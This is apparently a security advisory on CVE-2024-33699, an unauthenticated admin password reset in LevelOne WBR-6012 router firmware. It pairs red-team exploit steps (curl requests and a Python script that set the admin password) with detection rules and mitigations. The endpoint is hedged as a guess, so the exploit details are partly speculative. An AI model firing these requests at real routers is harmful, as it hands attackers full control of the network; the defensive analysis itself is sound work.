CVE-2024-33699

Executive Summary

CVE-2024-33699 is a critical authentication bypass vulnerability in the LevelOne WBR-6012 router firmware version R0.40e6. The web application allows an unauthenticated attacker to change the administrator password without providing the current password, leading to full device compromise. With a CVSS score of 9.9, this vulnerability poses an extreme risk to network integrity, confidentiality, and availability. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required, low complexity, and the ability to fully compromise the router, potentially enabling man-in-the-middle attacks, DNS hijacking, and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of the LevelOne WBR-6012 web interface. The endpoint responsible for updating the administrator password does not validate the current password or require an authenticated session. An attacker can send a crafted HTTP POST request directly to the password change endpoint, supplying a new password of their choice. The server processes the request without verifying the identity of the requester, effectively allowing anyone on the network (or from the internet if exposed) to take over the device.

The root cause is a missing authentication check (CWE-306) in the server-side logic. The firmware likely uses a simple PHP or CGI script that accepts parameters like new_password and confirm_password without checking for a valid session token or the old password.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire password change mechanism in firmware R0.40e6. A patched version would require:

• Vulnerable: The endpoint change_password.cgi (or similar) accepts new_password and confirm_password without any session validation.
• Patched: The endpoint would first verify a valid session token (e.g., via cookie or POST parameter) and require the current password to be provided and validated against the stored hash.

Example of vulnerable request:

POST /change_password.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

new_password=attacker123&confirm_password=attacker123

A patched version would require:

POST /change_password.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: session=valid_session_token
Content-Type: application/x-www-form-urlencoded

current_password=oldpassword&new_password=newpass&confirm_password=newpass

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a LevelOne WBR-6012 router with firmware R0.40e6.
2. Connect the router to a test network with a computer on the same subnet.
3. Ensure the web interface is accessible (default IP: 192.168.1.1).

Exploitation Steps:

1. Send a POST request to the password change endpoint without authentication:

   curl -X POST http://192.168.1.1/change_password.cgi \
     -d "new_password=attacker123&confirm_password=attacker123"
   

2. Verify the password change by logging in with the new credentials:

   curl -u admin:attacker123 http://192.168.1.1/
   

3. Once authenticated, the attacker can modify DNS settings, disable firewall rules, or exfiltrate network traffic.

Automated Exploit (Python):

import requests

target = "http://192.168.1.1"
new_pass = "attacker123"

payload = {
    "new_password": new_pass,
    "confirm_password": new_pass
}

r = requests.post(f"{target}/change_password.cgi", data=payload)
if r.status_code == 200:
    print(f"Password changed to {new_pass}")
else:
    print("Exploit failed")

Blue Team

Detection:

• Monitor for POST requests to /change_password.cgi or similar endpoints without a valid session cookie.
• Alert on multiple failed login attempts followed by a successful login with a new password.
• Use network monitoring to detect unauthorized configuration changes.

Honeypot:

• Deploy a fake LevelOne WBR-6012 web interface that logs all requests to /change_password.cgi and alerts on any POST data containing new_password.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /change_password.cgi without a session cookie.
  • HTTP requests with new_password and confirm_password parameters.
  • Unusual DNS or DHCP configuration changes from the router.
• Host:
  • Router logs showing password change events without prior authentication.
  • New admin password not matching known credentials.
• File:
  • Modified /etc/shadow or equivalent on the router (if accessible).

Detection Engineering

YARA Rule

rule CVE_2024_33699_LevelOne_Router_Exploit {
    meta:
        description = "Detects HTTP requests targeting the password change vulnerability in LevelOne WBR-6012"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33699"
    strings:
        $s1 = "new_password=" ascii nocase
        $s2 = "confirm_password=" ascii nocase
        $s3 = "/change_password.cgi" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: LevelOne WBR-6012 Password Change Without Authentication
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated POST requests to the password change endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/change_password.cgi'
        cs-uri-query|contains: 'new_password='
    condition: selection
falsepositives:
    - Legitimate admin password changes (should have session cookie)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33699 LevelOne WBR-6012 Password Change Exploit"; flow:to_server; content:"POST"; http_method; content:"/change_password.cgi"; http_uri; content:"new_password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management (WAN-side access) to the router's web interface.
2. Restrict access to the web interface to trusted IP addresses only.
3. Monitor logs for unauthorized password changes.

Long-term:

1. Contact LevelOne for a firmware update. If unavailable, consider replacing the device.
2. Implement network segmentation to isolate IoT devices.
3. Use a VPN for remote management instead of exposing the web interface.

Workaround:

• If the router cannot be replaced, create a firewall rule to block all external traffic to port 80/443 on the router's WAN IP.

Valters IT